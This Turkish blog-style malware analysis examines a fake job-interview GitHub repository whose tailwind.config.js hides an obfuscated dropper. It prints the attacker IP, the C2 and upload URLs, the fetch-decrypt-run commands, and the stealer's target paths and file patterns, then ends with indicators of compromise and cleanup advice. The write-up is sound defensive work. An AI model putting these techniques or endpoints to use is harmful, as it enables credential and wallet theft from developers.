- LinkedIn'de yazılım mühendisi işe alımı teklif edildikten sonra, normal bir React/Web3 ödevi gibi görünen özel bir GitHub deposu gönderildi; çalıştırıldığında
tailwind.config.jsiçine gizlenmiş JavaScript kötü amaçlı yazılımı geliştiricinin bilgisayarında devreye girdi - 30.987 baytlık yapılandırma dosyası, binlerce boşluğun arkasına 27 KB boyutunda obfuscate edilmiş kod gizledi; uzak bir sunucudan AES-256-CBC ile şifrelenmiş ikinci aşama yükü alıp bunu
%TEMP%\packiçine kaydettikten sonranode packile çalıştırdı - Windows 11 ARM yalıtılmış VM üzerinde yaklaşık 10 dakika süren gözlemde, yükün dört bileşeni etkinleştirdiği görüldü: uzaktan kontrol arka kapısı, tarayıcı/cüzdan hırsızı, özyinelemeli dosya tarayıcısı ve pano gözetleyicisi
- Socket.IO üzerinden terminal, SSH, ekran, klavye ve fareyi kontrol etti; Chromium veritabanları, cüzdan eklenti depoları, SSH anahtarları, kaynak kodu ve yapılandırma dosyalarını topladı; ayrıca dosya yükleme portunda 2.588 istek gözlendi
- Yabancı birinin gönderdiği ödev deposu güvenilmeyen kod olarak ele alınmalı; gerçek tarayıcı profilleri, SSH anahtarları, bulut kimlik bilgileri veya cüzdanlar bulunmayan tek kullanımlık bir VM ya da container içinde incelenmeli; enfeksiyon varsa ağ bağlantısı kesilip kanıtlar korunmalı ve ardından gizli bilgiler dâhil her şey değiştirilmeli
Normal bir Web3 işe alım ödevi gibi görünen depo
- LinkedIn kullanıcısı Wayan Adrian, shrapnel.com bünyesinde bir yazılım mühendisi pozisyonu önerdi ve
yevhen-ohesabına aittech-active-workplace-frontend-mainadlı özel GitHub deposunu ödev olarak iletti - BLAIEXS adlı NFT kampanya platformu, dışarıdan bakıldığında sıradan bir React/Web3 projesiydi
- React frontend; marka/yönetici paneli, kampanya yönetimi ve NFT oluşturma akışları sunuyordu
- Express API; kimlik doğrulama, panel verileri, KYB kontrolleri, NFT oluşturma/talep etme, dosya yükleme ve bazı stub endpoint'leri işliyordu
- Seed script'i; superadmin, marka ve tüketici demo hesapları,
Demo NFT Dropkampanyası ve 100 adet sunulanDemo CollectibleNFT oluşturuyordu
- Asıl ödev kapsamı yalnızca basit bir MetaMask ağ gösterim özelliğiydi
src/utils/ethereum.jsiçindeki asenkrongetChainId(),eth_chainIdçağrısını yapıp ayrıştırılmış onaltılık değeri veyanulldöndürecek şekilde uygulanıyordu- Aynı dosyadaki
getNetworkLabel(chainId), mevcutNETWORKSnesnesinden okunabilir ağ adını bulacak şekilde uygulanıyordu src/components/Wallet/ConnectWalletButton.js, cüzdan bağlandıktan sonra bu iki fonksiyonu çağıracak şekilde değiştiriliyordu
- Uygulama tamamlandıktan sonra geliştirme sunucusu çalıştırıldı, ancak uzun süre başlamadı; anormalliği fark eden kullanıcı internet kablosunu çıkardı
tailwind.config.js içine gizlenmiş yürütme kodu
ls -laçıktısındatailwind.config.js30.987 bayt görünüyordu, ancak editörde yalnızca 97 satır görünüyordu;wc -cile de aynı boyut doğrulandı-
- satır civarında, binlerce boşluğun arkasına insanın okuyamayacağı büyüklükte bir JavaScript blob'u gizlenmişti
- Kod, tipik JavaScript obfuscation yöntemleri kullanıyordu
- Önemli dizeleri büyük bir dizide saklıyordu
- Dizi, sağlama toplamı eşleşene kadar döndürülüyordu
- Dizelere erişim bir decoder fonksiyonunun arkasına gizleniyordu
- Açık isimler sayısal indeksler ve wrapper çağrılarıyla değiştiriliyordu
- İki decoder'dan biri Base64 benzeri biçimden dizeleri geri getiriyor, diğeri ise dize başına anahtar ve RC4 benzeri bir akış şifresi uyguluyordu; ayrıca decoder indeksleri doğru olmadan önce dize dizisi döndürülüyordu
- Kötü amaçlı yazılımı çalıştırmadan obfuscation şu sırayla çözülebildi
- Dize dizisini çıkarmak
- Beklenen sağlama toplamına ulaşacak şekilde dizi döndürmeyi yeniden üretmek
- Decoder fonksiyonlarını yeniden uygulamak
b(0x214),c(0x2f1, "key")gibi çağrıları gerçek dizelerle değiştirmek- Wrapper nesnelerini ve yardımcı fonksiyonları sadeleştirerek yürütme niyetini açığa çıkarmak
1. aşama dropper'ın işleyişi
- Açılmış kod,
child_process,os,fs,path,cryptomodüllerini yüklüyor ve geçici dizineaxiosilesocket.io-clientkuruyordu - Süreç düzeyindeki
uncaughtExceptionveunhandledRejectionişleyicileri, hataları yok sayacak şekilde ayarlanmıştı - Uzak payload çalıştırma akışı şöyleydi
- UID:
59e605dd78fb2aafccd1b622f06a00ca - Veri,
http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00caadresinden alınıyordu - UID ve
saltdizgesi, 32 baytlık anahtar türetmek içincrypto.scryptSynciçine veriliyordu - Yanıt,
base64_iv:base64_ciphertextbiçiminde ayrıştırılıpaes-256-cbcile çözülüyordu - Düz metin, geçici dizindeki
packdosyasına yazılıyordu child_process.execSync("node pack", { windowsHide: true, cwd: os.tmpdir() })ile çalıştırılıyordu
- UID:
- Kendi başına işlev görmek yerine başka kötü amaçlı yazılımlar indirip çalıştıran bir malware dropper idi
- İndirilen kodda imza doğrulama, hash allowlist'i, kaynak sabitleme, yol kısıtlama veya çalıştırma engelleyici korumalar yoktu; bu nedenle uzak endpoint, Tailwind yapılandırmasını yükleyen işletim sistemi hesabının yetkileriyle kod çalıştırabiliyordu
Yalıtılmış VM üzerinde yapılan dinamik analiz
- Ana sistemi açığa çıkarmamak için UTM ile tek kullanımlık bir Windows 11 ARM VM kuruldu
- Bellek
4096 MiB - Disk
64 GiB shared/NATağ yapılandırması- Paylaşılan klasörler devre dışı
- Bellek
- Kötü amaçlı yazılım davranışını farklı açılardan toplamak için araçlar kuruldu
- Wireshark: paketleri ve C2/veri sızdırma trafiğini toplamak için
- Sysinternals Sysmon: kalıcı Windows olay telemetrisi için
- Procmon: çalışan süreç, kayıt defteri ve dosya sistemi etkinliklerini toplamak için
- Kötü amaçlı yazılımın neyi topladığını doğrulamak amacıyla tuzak veriler yerleştirildi
- SSH anahtar çifti
- Özel GitHub deposu
- Kripto para cüzdanları
- Tarayıcı verileri
- Bilgi hırsızının hedef alabileceği diğer dosyalar
- VM içinde
yarn startçalıştırıldı ve yaklaşık 10 dakika boyunca gözlemlendikten sonrarun1-full.pcapng,run1-sysmon.evtx,stage2-pack.binelde edildi
Ağda doğrulanan enfeksiyon akışı
45.146.252.17adresine giden HTTP isteklerinde portlara göre rol ayrımı vardı- Port
80: 1. aşama payload alma, ana bilgisayar kaydı, log gönderimi - Port
7641: Socket.IO komut ve kontrol arka kapısı - Port
7646: 2.588 adet dosya yükleme - Port
7649: daha büyük ama sayısı daha az olan 3 tarayıcı veri yüklemesi
- Port
- İlk istek
GET /api/service/59e605dd78fb2aafccd1b622f06a00caidi ve yanıt,Content-Length: 150897olanbase64_iv:base64_ciphertextbiçimindeydi tailwind.config.js, yanıtı AES-256-CBC ile çözüp düz metni%TEMP%\packiçine yazdıktan sonranode packile çalıştırıyordu- Elde edilen 2. aşama payload şu özelliklere sahipti
- SHA-256:
68a64d8c015c06fd70bcb8c5878c1e430da827dd00b62f8e6ef69e76bb94de5b - Boyut:
113136bayt - Biçim: tek satırlı ASCII JavaScript
- SHA-256:
- Çözülmüş
packdosyası da yeniden obfuscate edilmişti, ancak ilk aşamayla aynı teknikleri kullandığı için aynı prosedürle çözülebildi
Dört programdan oluşan 2 aşamalı payload
pack, tek bir script değil; aşağıdaki dört programı çalıştıran küçük bir süreç ağacıydıscdatakomuta-kontrol arka kapısını geçici dizine yazıp çalıştırıyorduldatatarayıcı ve cüzdan hırsızını geçici dizine yazıp çalıştırıyordu- Özyinelemeli dosya tarayıcısını
node -eile doğrudan bellekten çalıştırıyordu - Pano izleyicisini
node -eile doğrudan bellekten çalıştırıyordu
- Başlıca yapılandırma değerleri UID
59e605dd78fb2aafccd1b622f06a00ca, kullanıcı anahtarı308, host45.146.252.17, Socket.IO portu7641, anahtar portu7648, tarayıcı yükleme portu7649, dosya yükleme portu7646idi
scdata: etkileşimli uzaktan kontrol arka kapısı
scdata,%TEMP%içine dosya olarak yazıldıktan sonranpm i axios socket.io-client ... && node scdataile çalıştırılıyor ve uzun süre çalışan bir alt süreç olarak kalıyordu- Çalıştıktan sonra kendisini meşru bir süreç gibi görünecek şekilde yapılandırıyordu
- Süreç başlığı:
vhost.ctl - Tekil örnek işaret dosyası:
%TEMP%\.npm\vhost.ctl - Host kaydı:
http://45.146.252.17/api/service/… - Log gönderimi:
http://45.146.252.17/api/service/makelog - Socket.IO C2:
http://45.146.252.17:7641
- Süreç başlığı:
- Uzaktan kontrol işlevleri için gerekli ek paketleri de kuruyordu
socket.io-client,ssh2,node-pty: terminal ve SSH benzeri işlevlersharp,screenshot-desktop,clipboardy,@nut-tree-fork/nut-js: ekran görüntüsü, pano, fare taşıma-tıklama-kaydırma, klavye girişi
- Socket.IO event'leri, uzaktan kontrol kapsamını doğrudan gösteriyordu
- Terminal:
start-terminal,terminal-input,terminal-resize,stop-terminal,command - Host doğrulama ve yakalama:
whour,capture - Girdi kontrolü:
mouseMove,mouseClick,mouseScroll,keyTap,keyCombo - Pano:
copyText,pasteText - SSH ve sonlandırma:
start_ssh,ssh_input,kill
- Terminal:
- PCAP'te
7641portundaki polling ve WebSocket handshake'i ile ilk sunucu eventiwhourdoğrulandı; Sysmon'da ise sırasıylanode.exe scdata, sistem bilgisi sorgulayan PowerShell ve iki grup npm paket kurulumu yakalandı - Basit bilgi hırsızlığının ötesinde, saldırgana shell ve masaüstü kontrol yetenekleri de sağlıyordu
ldata: tarayıcı ve cüzdan veri hırsızı
ldata,%TEMP%içine yazılıyor venpm i axios && node ldataile çalıştırılıyordu; süreç başlığınpm-cacheidi- Tarayıcı profilleri ile cüzdan eklentisi depolarını toplayıp
http://45.146.252.17:7649/uploadadresine gönderiyor, LevelDB durumu ise/cldbsüzerinden kontrol ediliyordu - Hedef tarayıcılar işletim sistemine göre geniş kapsamlı biçimde ayarlanmıştı
- Windows: Chrome, Edge, Brave, LT Browser
- macOS: Chrome, Brave, Opera, LT Browser, Edge ve yerel giriş keychain'i
- Linux: karşılık gelen Chromium tabanlı profil klasörleri
DefaultveyaProfile*dizinlerinden şu Chromium veritabanlarını yüklüyorduLogin DataLogin Data For AccountWeb Data
- Ardından
Local Extension Settings/<extension-id>altında dolaşıyor, hard-code edilmiş cüzdan eklenti kimlikleri arasında MetaMask'ınnkbihfbeogaeaoehlefnkodbefgpgknnkimliği de yer alıyordu - İlk 8 cüzdan eklentisi yolu için LevelDB dizinlerini geçici klasöre kopyalayıp tek tek dosya yüklüyor, sunucunun
cldbsyanıtına göre tamamlanma veya yeniden deneme kararı veriyordu 7649portunda doğrulanan üç yükleme şu veritabanlarıydıLogin_Data.sqlite: 51.200 baytLogin_Data_For_Account.sqlite: 51.200 baytWeb_Data.sqlite: 262.144 bayt
- Deney verilerinde kayıtlı parola veya kart satırı yoktu, ancak 6 otomatik doldurma değeri ve tarayıcı meta verileri bulunuyordu
- Chrome türevi tarayıcılar bazı alanları yerelde şifrelediği için yalnızca veritabanlarıyla düz metin sırları her zaman kurtarmak mümkün değildir
- Ancak işletim sistemi sırları, çerezler, eklenti depoları ve kilidi açılmış tarayıcıyla birleştirildiğinde bu, kimlik bilgisi hırsızlığı hattının bir parçası haline gelir
- Gerekli tarayıcı verileri ve LevelDB'ler yüklendiğinde ya da sunucu tamamlandı olarak işaretlediğinde sonlanıyor, operatörden ek komut beklemiyordu
Özyinelemeli dosya tarayıcısı ve pano izleyicisi
- Özyinelemeli dosya tarayıcısı, ayrı bir dosya oluşturmadan
node -eile çalıştırılıyor ve kullanıcı home dizininden itibaren tarama yapıyordu- Windows'ta
Get-CimInstance Win32_LogicalDiskile sürücü harflerini listeliyor ve her sürücünün kökünü de inceliyordu - Toplanan dosya kalıpları arasında
*.env*,*.md,*.pem,*.ini,*.secret,*.json,*.js,*.ts,*.csv,*.txt,*.doc,*.docx,*.pdf,*.xlsx,.zsh_history,.bash_historyyer alıyordu ~/.ssh,~/.aws,~/.azure,~/.config,~/.foundryotomatik olarak ilgi klasörleri sayılıyordumetamask,bitcoin,btc,solana,secret phrase,private keygibi adları da arıyordu- Sonuçları
http://45.146.252.17:7646/uploadadresine gönderiyordu
- Windows'ta
- Yem ortamında
id_ed25519,id_ed25519.pub,History.txt,seed.js,password.js,tokens.js,ConnectWalletButton.js,ExportWallet.js,RegisterWallet.js,tailwind.config.js,aptos-cli.jsongibi dosyalar gerçekten yüklendi ldatatarayıcı ve cüzdan depolarına odaklanıyorsa, dosya tarayıcısı SSH anahtarları, yapılandırmalar, kaynak kodu, yerel sırlar, shell geçmişi ve proje dosyalarını geniş kapsamda topluyordu- Pano izleyicisi de
node -eile çalıştırılıyor ve süreç başlığınpm-compiler.logidi- Birkaç saniye bekledikten sonra panoyu tekrar tekrar okuyordu
- macOS'ta
pbpaste, Windows'tapowershell -NoProfile -NonInteractive Get-Clipboardkullanıyordu - Değişen değerleri
http://45.146.252.17/api/service/makelogadresine gönderiyordu
- Biçimi yorumlamasa bile, kullanıcının kopyaladığı parolaları, kurtarma ifadelerini, özel anahtarları, API token'larını, tek kullanımlık kodları, GitHub URL'lerini, cüzdan adreslerini ve dağıtım sırlarını olduğu gibi yakalayabiliyordu
İşe alım ödevini çalıştırmadan önce uyulması gereken ilkeler
- Tanımadığınız birinin gönderdiği ödev deposu, güvenliği doğrulanana kadar güvenilmeyen çalıştırılabilir kod olarak ele alınmalı
yarn install,npm install,yarn build,yarn startöncesinde şu öğeler incelenmelipackage.json- yaşam döngüsü script'leri
- yapılandırma dosyaları
- açık bağımlılık hook'ları
- Bu vakadaki zararlı yazılım, insanların gözden kaçırmasının kolay olduğu
tailwind.config.jsiçine gizlenmişti; yapılandırma dosyaları, bağımlılıklar ve build araçlarının tümü de kod olarak çalıştırılabilir - Mülakat projeleri, gerçek sırların mount edilmediği tek kullanımlık bir VM veya container içinde çalıştırılmalı
- kişisel tarayıcı profilleri
- parola yöneticisi
- SSH anahtarları
- kripto para cüzdanları
- GitHub token'ları
- bulut kimlik bilgileri
- banka oturumları
- birincil e-posta hesabı
- Hesap veya cüzdan gerektiren ödevlerde, içinde para bulunmayan ve başka hizmetlerde tekrar kullanılmamış yeni bir test kimliği kullanılmalı
- Web3 ödeviyse yalnızca testnet kullanılmalı ve zararsız görünse bile gerçek cüzdan bilinmeyen projelere bağlanmamalı
Enfeksiyon durumunu doğrulama göstergeleri
- macOS ve Linux’ta önce şu öğeler kontrol edilir
node,pack,scdata,ldata,npm-compiler,vhost.ctlile ilişkili çalışan süreçler45.146.252.17veya7641,7646,7649portlarıyla bağlantılar- geçici dizinler, Downloads, Desktop, Documents, Library altındaki
pack,scdata,ldata,vhost.ctl */.npm/vhost.ctlişaret dosyası- indirilen proje içindeki IP, UID,
/api/service/makelog,node scdata,node ldata,node packdizgeleri
- Windows’ta şu öğeler kontrol edilir
node,npm,cmd,powershellsüreçleri arasında komut satırındapack,scdata,ldata,node -e, IP adresi,Get-Clipboardbulunan öğeler45.146.252.17veya uzak port7641,7646,7649için açık TCP bağlantıları%TEMP%altındakipack,scdata,ldata,vhost.ctl,.npm\vhost.ctl- mülakat deposunun klonlandığı dizin içindeki bilinen C2 dizgeleri
- Çalışan bir Node süreci, söz konusu IP bağlantısı veya
pack·scdata·ldataçıktılarından herhangi biri bulunursa sistemin açığa çıkmış olduğu varsayılmalıdır - Bu göstergeler, analiz edilen örneğe özel ilk kontrol maddeleridir; tam bir adli inceleme prosedürü değildir
Enfekte sistemin temizlenmesi ve gizli bilgilerin değiştirilmesi
- Öncelikle bilgisayar ağdan ayrılmalı, enfekte ortamda inceleme, hata ayıklama veya yeni gizli bilgileri kopyalama işlemlerine devam edilmemelidir
- Kanıt gerekliyse silmeden önce şu veriler korunur
- süreç listesi
- ağ bağlantıları
- şüpheli dosyalar
- tarayıcı geçmişi
- kötü amaçlı depo
- Ardından
node pack,node scdata,node ldata,node -e,npm-compiler,vhost.ctlile ilişkili süreçler sonlandırılır ve geçici dizinlerdekipack,scdata,ldata,.npm/vhost.ctlkaldırılır - Tek kullanımlık bir VM ise ve normal Node çalışmalarını koruma gereği yoksa, macOS ve Linux’ta
pkill node, Windows’ta ise tümnodesüreçlerini zorla sonlandırma kullanılabilir - Kötü amaçlı depo ve
node_modulessilinir; ancak ek analiz gerekiyorsa ZIP kopyası çevrimdışı olarak saklanır - Yalnızca dosya silmek yeterli değildir; şu gizli bilgiler değiştirilmeli veya iptal edilmelidir
- SSH anahtarları
- GitHub ve npm token’ları
- bulut anahtarları ve API anahtarları
- dağıtım sırları
- tarayıcıya kaydedilmiş parolalar
- aktif oturumlar
- Cüzdan seed’i veya özel anahtarın enfekte sisteme temas etmiş olma ihtimali varsa, temiz bir cihazda yeni bir cüzdan oluşturulmalı ve varlıklar taşınmalıdır
Geliştirme araçlarının güven sınırını kötüye kullanan saldırı
- Geleneksel antivirüs ürünleri bu depoyu tespit etmedi ve ödevi çözmekte kullanılan popüler yapay zeka kodlama ajanları da projeye gizlenmiş kötü amaçlı kodu tanımlayamadı
- Tailwind, JavaScript yapılandırma dosyalarını Node modülü olarak değerlendirdiği için, geliştirme araçları, build script’leri, editör entegrasyonları, Tailwind CLI, bundler’lar ve CI işleri yapılandırmayı yüklediği anda 95. satırdaki IIFE çalışır
- Normal Tailwind yapılandırması 94. satıra kadardı ve bunun arkasına yaklaşık 27KB’lık obfuscate edilmiş kod eklenmişti
- İndirilen payload, yapılandırmayı yükleyen kullanıcıyla aynı işletim sistemi yetkileriyle çalışır
- yerel dosyalara, tarayıcı profillerine, kayıtlı kimlik bilgilerine, cüzdan eklentisi verilerine, SSH anahtarlarına, ortam değişkenlerine, paket token’larına, bulut kimlik bilgilerine, kaynak koda ve panoya erişebilir
- CI’da çalışırsa dağıtım sırları, build çıktıları, registry kimlik bilgileri ve production erişim token’ları da açığa çıkabilir
- Gerekli düzeltme,
tailwind.config.jsiçindeki obfuscate edilmiş JavaScript bloğunu tamamen kaldırmaktır
Henüz yorum yok.